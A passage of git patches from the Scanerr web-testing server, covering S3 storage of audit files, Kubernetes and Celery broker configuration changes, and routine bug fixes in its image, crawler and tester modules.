--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,4 +1,4 @@
-import subprocess, json, uuid, boto3, shutil
+import subprocess, json, uuid, boto3, shutil, os
 from ..models import Site, Scan
 from scanerr import settings
 

From 8a47b742c20659498c04230d3e2b5cc4162dac05 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:29:13 -0500
Subject: [PATCH 0098/1099] testing out new configs

---
 k8s/prod/app-deployment.yaml | 6 +++---
 k8s/prod/app-ingress.yaml    | 7 ++++---
 2 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 804a2680..269a8f3a 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:9e5b01f # 
+          image: <IMAGE> # landonr/scanerr-server:04401a7 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -59,8 +59,8 @@ metadata:
   labels:
     service: app
 spec:
-  type: NodePort
-  externalTrafficPolicy: Cluster
+  # type: NodePort
+  # externalTrafficPolicy: Cluster
   selector:
     app:  app-deployment
   ports:
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index a44b91d4..db99db32 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -2,9 +2,10 @@ apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
   name: app-ingress
-  ## ensure below section is commented out on first creation ##
-  # annotations:
-  #   cert-manager.io/cluster-issuer: letsencrypt-nginx     
+  annotations:
+    kubernetes.io/ingress.class: nginx
+    ## ensure below section is commented out on first creation ##
+    # cert-manager.io/cluster-issuer: letsencrypt-nginx     
 spec:
   ## ensure below section is comented out on first creation ##
   # tls:

From 3100c26613f858e6c242e689fa4054b4435e336b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:29:21 -0500
Subject: [PATCH 0099/1099] removed extra bug

---
 app/api/utils/image.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 6c2db378..82737937 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1339,7 +1339,7 @@ def cv2_score(pre_img, post_img):
                     pil_img_score = pil_score(pre_img, post_img)
                     
                     # pixel perfect scoring
-                    cv2_img_score = cv2_score(pre_img_array, post_img_array)
+                    cv2_img_score = cv2_score(pre_img, post_img)
 
                     # weighted average
                     img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8

From 9ca0f32540c3e6ebdfe0c4b7ed5e0eea49db5ddb Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:32:57 -0500
Subject: [PATCH 0100/1099] fixed typos

---
 app/api/utils/lighthouse.py | 8 ++++----
 app/api/utils/yellowlab.py  | 8 ++++----
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index aedfb6d3..f2ff2787 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -131,18 +131,18 @@ def get_data(self):
                     json.dump(audits, fp)
                 
                 # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.png')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.png'
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
                 root_path = settings.AWS_S3_URL_PATH
                 audits_url = f'{root_path}/{remote_path}'
             
                 # upload to s3
                 with open(audit_file, 'rb') as data:
                     s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
                     )
                 # remove local copy
-                os.remove(image)
+                os.remove(audit_file)
 
                 data = {
                     "scores": scores, 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 3deda5df..1bd4d7dd 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -100,18 +100,18 @@ def get_data(self):
                     json.dump(audits, fp)
                 
                 # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.png')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.png'
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
                 root_path = settings.AWS_S3_URL_PATH
                 audits_url = f'{root_path}/{remote_path}'
             
                 # upload to s3
                 with open(audit_file, 'rb') as data:
                     s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
                     )
                 # remove local copy
-                os.remove(image)
+                os.remove(audit_file)
 
                 data = {
                     "scores": scores, 

From 81d275f21af254ad0ed7d677eb91aed36922e2c3 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 20:02:20 -0500
Subject: [PATCH 0101/1099] fixed s3 import bug

---
 app/api/utils/yellowlab.py | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1bd4d7dd..0edb7fae 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -30,6 +30,15 @@ def init_audit(self):
 
 
     def get_data(self):
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+        
         try:
             stdout_value = self.init_audit() 
             # decode bytes into string

From 1cff7f11a81281800d080177c0ae5b9d3785f0d4 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 20:23:48 -0500
Subject: [PATCH 0102/1099] switch back to num_tasks for celery-autoscaler

---
 k8s/prod/celery-autoscaler.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index c657599e..173e3533 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -12,6 +12,6 @@ spec:
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "3"
+        targetValue: "5"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
-        valueLocation: "ratio"
\ No newline at end of file
+        valueLocation: "num_tasks"
\ No newline at end of file

From a16b39b2d9f08c8bf648c677ff7bb214a74398f0 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 13:45:24 -0500
Subject: [PATCH 0103/1099] added <frame> tag to list

---
 app/api/utils/tester.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 1ce335a0..628db3ce 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -24,13 +24,13 @@ def clean_html(self):
 
         white_list = ['csrfmiddlewaretoken', '<!DOCTYPE html>',]
         tags = [
-            '<head', '<script', '<div', '<p', '<h1', '<wbr', '<ul', '<tr', '<u', '<title',  
+            '<head', '<script', '<div', '<p', '<h1', '<wbr', '<ul', '<tr', '<u', '<title', '<iframe',  
             '<section', '<source', '<style', '<q', '<option', '<nav', '<menu', '<mark', '<map', '<meta', '<keygen', '<link',
             '<li', '<legend', '<label', '<input', '<img', '<i', '<hr', '<hgroup', '<h2', '<h3', '<h4', '<h5', '<h6', '<form', 
             '<footer', '<figure', '<fieldset', '<embed', '<em', '<dt', '<dl', '<dialog', '<dfn', '<details', '<del', '<dd', 
             '<datalist', '<data', '<colgroup', '<col', '<code', '<cite', '<caption', '<canvas', '<button', '<body', '<blockquote',
             '<bdo', '<bdi', '<base', '<pre', '<b', '<br', '<audio', '<aside', '<article', '<area', '<address', '<abbr', '<a',
-            '<!DOCTYPE html>', '</head', '</script', '</div', '</p', '</h1', '</wbr', '</ul', '</tr', '</u', '</title',  
+            '<!DOCTYPE html>', '</head', '</script', '</div', '</p', '</h1', '</wbr', '</ul', '</tr', '</u', '</title', '</iframe',  
             '</section', '</source', '</style', '</q', '</option', '</nav', '</menu', '</mark', '</map', '</meta', '</keygen', '</link',
             '</li', '</legend', '</label', '</input', '</img', '</i', '</hr', '</hgroup', '</h2', '</h3', '</h4', '</h5', '</h6', '</form', 
             '</footer', '</figure', '</fieldset', '</embed', '</em', '</dt', '</dl', '</dialog', '</dfn', '</details', '</del', '</dd', 

From 092fe63afd79de8dac89b77b3e7dfa40c64b85c2 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 13:48:41 -0500
Subject: [PATCH 0104/1099] fixed dividde by zero bug

---
 app/api/utils/tester.py | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 628db3ce..26dc635b 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -411,14 +411,15 @@ def update_site_info(self, test):
                 if _test.score is not None:
                     tests.append(_test.score)
         
-        # calc site average of latest
-        site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
-
-        site.info['latest_test']['id'] = str(test.id)
-        site.info['latest_test']['time_created'] = str(test.time_created)
-        site.info['latest_test']['time_completed'] = str(test.time_completed)
-        site.info['latest_test']['score'] = site_avg_test_score
-        site.save()
+        if len(tests) > 0:
+            # calc site average of latest
+            site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
+
+            site.info['latest_test']['id'] = str(test.id)
+            site.info['latest_test']['time_created'] = str(test.time_created)
+            site.info['latest_test']['time_completed'] = str(test.time_completed)
+            site.info['latest_test']['score'] = site_avg_test_score
+            site.save()
 
         return site
 

From 650555aa541e37c2ffd5028420437166c02c34d4 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 14:06:36 -0500
Subject: [PATCH 0105/1099] changed wording

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 003216f2..3844abc9 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
 
 ![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow.yml/badge.svg)
 
-This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
+This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 
 > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information.
 

From a20ae38609232599aa0f8879eb3a0bbf4f5c8354 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 14:08:24 -0500
Subject: [PATCH 0106/1099] cleaning things up

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 3844abc9..51c397c3 100644
--- a/README.md
+++ b/README.md
@@ -13,6 +13,6 @@ Copyright © Scanerr 2023
 &nbsp;
 
 ## Guides
-- [Deployment (single Server)](notes/Deployment.md)
+- [Server Deployment](notes/Deployment.md)
 - [k8s Deployment](k8s/kubernetes-notes.md)
 &nbsp;

From da3c0f15b328ca7009f91a21a96ebda228c2b24d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 21:45:27 -0500
Subject: [PATCH 0107/1099] added catch for user error

---
 app/api/utils/image.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 82737937..b00ceedf 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1156,6 +1156,16 @@ def test(self, test, index=None):
             pre_scan_images = [test.pre_scan.images[index]]
             i = index
 
+        # catching user error when scan_type 
+        # did not include 'vrt'
+        if pre_scan_images is None:
+            images_delta = {
+                "average_score": None,
+                "images": None,
+            }
+            return images_delta
+
+
         for pre_img_obj in pre_scan_images:
             
             # getting pre_scan image

From 7145c3a216df29afb3cf3b389f074ed06305101e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 21:45:47 -0500
Subject: [PATCH 0108/1099] fixed audit download for s3 migration

---
 app/api/utils/reporter.py | 33 ++++++++++++++++++++++++++-------
 1 file changed, 26 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 31197fd2..10579473 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -31,7 +31,7 @@ def __init__(self, report, scan=None):
         else:
             self.scan = scan
 
-        #building paths & canvas template
+        # building paths & canvas template
         if os.path.exists(os.path.join(settings.BASE_DIR,  f'temp/')):
             self.local_path = os.path.join(settings.BASE_DIR,  f'temp/{self.report.id}.pdf')
         else:
@@ -45,6 +45,13 @@ def __init__(self, report, scan=None):
         self.c = canvas.Canvas(self.local_path, letter)
         self.y = 9
 
+        # define s3 instance
+        self.s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
     
     def setup_page(self):
         # sets the defaults for a new page
@@ -71,15 +78,11 @@ def draw_page_title(self, title):
     def publish_report(self):
         self.c.save()
         remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf'
-        s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
+        
 
         # uploading package to remote s3 
         with open(self.local_path, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME),
+            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME),
                 remote_path, ExtraArgs={
                     'ACL': 'public-read', 'ContentType': 'application/pdf'}
             )
@@ -250,6 +253,20 @@ def get_cat_string(self, cat):
 
         return string
 
+    
+    
+    def get_audits(self, uri=str):
+        """
+        Downloads teh JSON file from the passed uri
+        and return the data as a python dict
+        """
+        uri = 'static/sites/' + uri.lstrip(f'{settings.AWS_S3_URL_PATH}')
+        audits_raw = self.s3.get_object(Bucket=settings.AWS_STORAGE_BUCKET_NAME, Key=uri)['Body'].read().decode('utf-8')
+        audits = json.loads(audits_raw)
+
+        return audits
+
+
 
 
     def create_data(self, data_type=str):
@@ -257,11 +274,13 @@ def create_data(self, data_type=str):
         
         if data_type == 'yellowlab':
             data = self.scan.yellowlab
+            data['audits'] = self.get_audits(data['audits'])
             page_title = 'Yellow Lab'
             avg_score = 'globalScore'
         
         if data_type == 'lighthouse':
             data = self.scan.lighthouse
+            data['audits'] = self.get_audits(data['audits'])
             page_title = 'Lighthouse'
             avg_score = 'average'
             

From 46d50f6e3fe6e2fb3a88bb97cd99bf3f22f650b8 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 22:15:11 -0500
Subject: [PATCH 0109/1099] fixed some automation bugs

---
 app/api/v1/ops/services.py | 5 ++---
 app/api/v1/ops/views.py    | 2 +-
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index af5a1621..73cabcac 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1958,13 +1958,13 @@ def create_or_update_automation(request):
         try:
             automation = Automation.objects.get(id=schedule.automation.id)
             if automation.account != account and automation.account != None:
-                data = {'reason': 'update a Automation you do not own',}
+                data = {'reason': 'You cannot update a Automation you do not own',}
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
         except:
             automation = None
         if schedule.account != account and schedule.account != None:
-            data = {'reason': 'create a Automation of a Schedule you do not own',}
+            data = {'reason': 'You cannot create a Automation of a Schedule you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
     except:
@@ -2040,7 +2040,6 @@ def get_automations(request):
             data = {'reason': 'cannot find a Automation with that id'}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
-
         if automation.account != account:
             data = {'reason': 'retrieve an Automation you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index ad8d6096..fff28efd 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -371,7 +371,7 @@ def get(self, request, id):
         user = request.user
         account = Member.objects.get(user=user).account
 
-        if automation.user != request.user:
+        if automation.account != account:
             data = {'reason': 'you cannot retrieve Automations you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)

From 5323f44a9d68ea8872c66ef7015f37eb36b72b30 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 23:04:29 -0500
Subject: [PATCH 0110/1099] added tqo replicas for broker

---
 k8s/prod/rabbitmq-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
index 1ff9e5b9..ac35aff4 100644
--- a/k8s/prod/rabbitmq-deployment.yaml
+++ b/k8s/prod/rabbitmq-deployment.yaml
@@ -3,7 +3,7 @@ kind: Deployment
 metadata:
   name: rabbitmq
 spec:
-  replicas: 1
+  replicas: 2
   selector:
     matchLabels:
       name: rabbitmq

From 4eb8d3d0eddd17548f5ae175ce41fe3144a5ac0b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 6 Aug 2023 21:47:02 -0500
Subject: [PATCH 0111/1099] testing redis config

---
 app/scanerr/settings.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 95f1db40..ed19060d 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -191,10 +191,10 @@
 
 
 # Redis and Celery Conf
-# CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_BROKER_URL = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
-CELERY_BROKER_URL = "amqp://rabbitmq"
+# CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 

From 4fc1a69c0c8a55c9fe22ac6160df47f61f7701ed Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 6 Aug 2023 21:47:59 -0500
Subject: [PATCH 0112/1099] notes

---
 app/scanerr/settings.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index ed19060d..980feb85 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -190,10 +190,10 @@
 
 
 
-# Redis and Celery Conf
+# Redis and Celery Config
 CELERY_BROKER_URL = "redis://redis:6379"
 
-# RabbitMQ and Celery Conf
+# RabbitMQ and Celery Config
 # CELERY_BROKER_URL = "amqp://rabbitmq"
 
 

From 9b6cb9f56fe138ac897b0bff96608868e97a5e7b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 6 Aug 2023 22:12:49 -0500
Subject: [PATCH 0113/1099] fixed old Report __str__ in Models

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..7ec9b1d2 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -449,7 +449,7 @@ class Report(models.Model):
     info = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.site.site_url}__report'
+        return f'{self.page.page_url}__report'
 
 
 

From 4c5fd6f0f40bbaf148d35d0647a66c8bf1953cd5 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 6 Aug 2023 22:13:10 -0500
Subject: [PATCH 0114/1099] fixed message broker failing

---
 k8s/kubernetes-notes.md                             | 2 +-
 k8s/prod/{ => old_configs}/rabbitmq-deployment.yaml | 0
 k8s/prod/{old_configs => }/redis-deployment.yaml    | 0
 3 files changed, 1 insertion(+), 1 deletion(-)
 rename k8s/prod/{ => old_configs}/rabbitmq-deployment.yaml (100%)
 rename k8s/prod/{old_configs => }/redis-deployment.yaml (100%)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index c1cf7b90..2f18cd70 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -107,7 +107,7 @@ kubectl port-forward service/app-service 8000:8000
 
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/old_configs/rabbitmq-deployment.yaml
similarity index 100%
rename from k8s/prod/rabbitmq-deployment.yaml
rename to k8s/prod/old_configs/rabbitmq-deployment.yaml
diff --git a/k8s/prod/old_configs/redis-deployment.yaml b/k8s/prod/redis-deployment.yaml
similarity index 100%
rename from k8s/prod/old_configs/redis-deployment.yaml
rename to k8s/prod/redis-deployment.yaml

From 5ec6ec57e75834aeca15da608e15725179046b47 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 11:26:35 -0500
Subject: [PATCH 0115/1099] added validation to crawler

---
 app/api/utils/crawler.py | 20 +++++++++++++++++++-
 1 file changed, 19 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index c96fd892..d0599ed2 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -16,6 +16,24 @@ def get_links(self):
 
         follow_urls = []
         crawled_urls = [self.url,]
+
+        # validates url
+        def url_is_valid(url):
+            bad_str_list = ['cdn-cgi']
+            bad_end_list = [
+                '.png', '.jpg', '.pdf', '.jpeg', 
+                '.json', '.docs'
+            ]
+            if not (url.startswith(self.url) or url.startswith('/')):
+                return False
+            for bad_str in bad_str_list:
+                if bad_str in url:
+                    return False
+            for bad_end in bad_end_list:
+                if url.endswith(bad_end):
+                    return False
+            return True
+
         
         def add_urls(start_url):
             reqs = requests.get(start_url)
@@ -23,7 +41,7 @@ def add_urls(start_url):
             for link in soup.find_all('a'):
                 url = link.get('href')
                 if url is not None:
-                    if (url.startswith(self.url) or url.startswith('/')) and 'cdn-cgi' not in url:
+                    if url_is_valid(url):
                         if url.startswith('/'):
                             url = self.url + url
                         # check status of page

From 8e322f68853dad8258fedc6b711387e581666d39 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 11:37:26 -0500
Subject: [PATCH 0116/1099] added exception handling for test components

---
 app/api/utils/tester.py | 157 ++++++++++++++++++++++------------------
 1 file changed, 86 insertions(+), 71 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 26dc635b..dd4fbdb8 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -475,97 +475,112 @@ def run_test(self, index=None):
 
 
         if 'html' in self.test.type or 'full' in self.test.type:
-            # scores
-            html_score = self.compare_html()
-            delta_html_data = self.delta_html()
-            num_html_ratio = delta_html_data['num_html_ratio']
-            micro_diff_score = self.html_micro_diff_score(
+            try:
+                # scores
+                html_score = self.compare_html()
+                delta_html_data = self.delta_html()
+                num_html_ratio = delta_html_data['num_html_ratio']
+                micro_diff_score = self.html_micro_diff_score(
                     delta_html_data['post_micro_delta']['delta_parsed_diff']
                 )
-            
-            # weights
-            html_score_w = 1
-            num_html_w = 1
-            micro_diff_w = 2
-            
-            # data
-            html_delta_context = {
-                "pre_html_delta": delta_html_data['delta_html_pre'],
-                "post_html_delta": delta_html_data['delta_html_post'],
-                "pre_micro_delta": delta_html_data['pre_micro_delta'],
-                "post_micro_delta": delta_html_data['post_micro_delta'],
-            }
+                
+                # weights
+                html_score_w = 1
+                num_html_w = 1
+                micro_diff_w = 2
+                
+                # data
+                html_delta_context = {
+                    "pre_html_delta": delta_html_data['delta_html_pre'],
+                    "post_html_delta": delta_html_data['delta_html_post'],
+                    "pre_micro_delta": delta_html_data['pre_micro_delta'],
+                    "post_micro_delta": delta_html_data['post_micro_delta'],
+                }
+            except Exception as e:
+                print(e)
         
         
 
         if 'logs' in self.test.type or 'full' in self.test.type:
-            # scores
-            logs_score = self.compare_logs()
-            delta_logs_data = self.delta_logs()
-            num_logs_ratio = delta_logs_data['num_logs_ratio']
-            
-            # weights
-            logs_score_w = .5
-            num_logs_w = 2
-
-            # data
-            logs_delta_context = {
-                "pre_logs_delta": delta_logs_data['delta_logs_pre'],
-                "post_logs_delta": delta_logs_data['delta_logs_post'],
-            }
+            try:
+                # scores
+                logs_score = self.compare_logs()
+                delta_logs_data = self.delta_logs()
+                num_logs_ratio = delta_logs_data['num_logs_ratio']
+                
+                # weights
+                logs_score_w = .5
+                num_logs_w = 2
+
+                # data
+                logs_delta_context = {
+                    "pre_logs_delta": delta_logs_data['delta_logs_pre'],
+                    "post_logs_delta": delta_logs_data['delta_logs_post'],
+                }
+            except Exception as e:
+                print(e)
 
 
 
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
-            # scores & data
-            lighthouse_data = self.delta_lighthouse()
-            lighthouse_avg = lighthouse_data['scores']['average_delta']
-            if lighthouse_avg != None and lighthouse_avg > -100:
-                lighthouse_score = (100 + lighthouse_avg)/100
-            if lighthouse_avg != None and lighthouse_avg <= -100:
-                lighthouse_score = 0
-
-            # weights
-            if lighthouse_score == None:
-                delta_lh_w = 0
-            elif lighthouse_score > 1:
-                delta_lh_w = 1
-                lighthouse_score = 1
-            else:
-                delta_lh_w = 1
+            try:
+                # scores & data
+                lighthouse_data = self.delta_lighthouse()
+                lighthouse_avg = lighthouse_data['scores']['average_delta']
+                if lighthouse_avg != None and lighthouse_avg > -100:
+                    lighthouse_score = (100 + lighthouse_avg)/100
+                if lighthouse_avg != None and lighthouse_avg <= -100:
+                    lighthouse_score = 0
+
+                # weights
+                if lighthouse_score == None:
+                    delta_lh_w = 0
+                elif lighthouse_score > 1:
+                    delta_lh_w = 1
+                    lighthouse_score = 1
+                else:
+                    delta_lh_w = 1
+            except Exception as e:
+                print(e)
 
 
         
 
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
-            # scores & data
-            yellowlab_data = self.delta_yellowlab()
-            yellowlab_avg = yellowlab_data['scores']['average_delta']
-            if yellowlab_avg != None and yellowlab_avg > -100:
-                yellowlab_score = (100 + yellowlab_avg)/100
-            if yellowlab_avg != None and yellowlab_avg <= -100:
-                yellowlab_score = 0
-
-            # weights
-            if yellowlab_score == None:
-                delta_yl_w = 0
-            elif yellowlab_score > 1:
-                delta_yl_w = 1
-                yellowlab_score = 1
-            else:
-                delta_yl_w = 1
+            try:
+                # scores & data
+                yellowlab_data = self.delta_yellowlab()
+                yellowlab_avg = yellowlab_data['scores']['average_delta']
+                if yellowlab_avg != None and yellowlab_avg > -100:
+                    yellowlab_score = (100 + yellowlab_avg)/100
+                if yellowlab_avg != None and yellowlab_avg <= -100:
+                    yellowlab_score = 0
 
+                # weights
+                if yellowlab_score == None:
+                    delta_yl_w = 0
+                elif yellowlab_score > 1:
+                    delta_yl_w = 1
+                    yellowlab_score = 1
+                else:
+                    delta_yl_w = 1
+            except Exception as e:
+                print(e)
 
 
 
-        if 'vrt' in self.test.type or 'full' in self.test.type:
-            # scores & data
-            images_data = Image().test(test=self.test, index=index)
-            if images_data['average_score'] != None:
-                images_score = images_data['average_score'] / 100
 
-            # weights
-            images_w = 4
+        if 'vrt' in self.test.type or 'full' in self.test.type:
+            try:
+                # scores & data
+                images_data = Image().test(test=self.test, index=index)
+                if images_data['average_score'] != None:
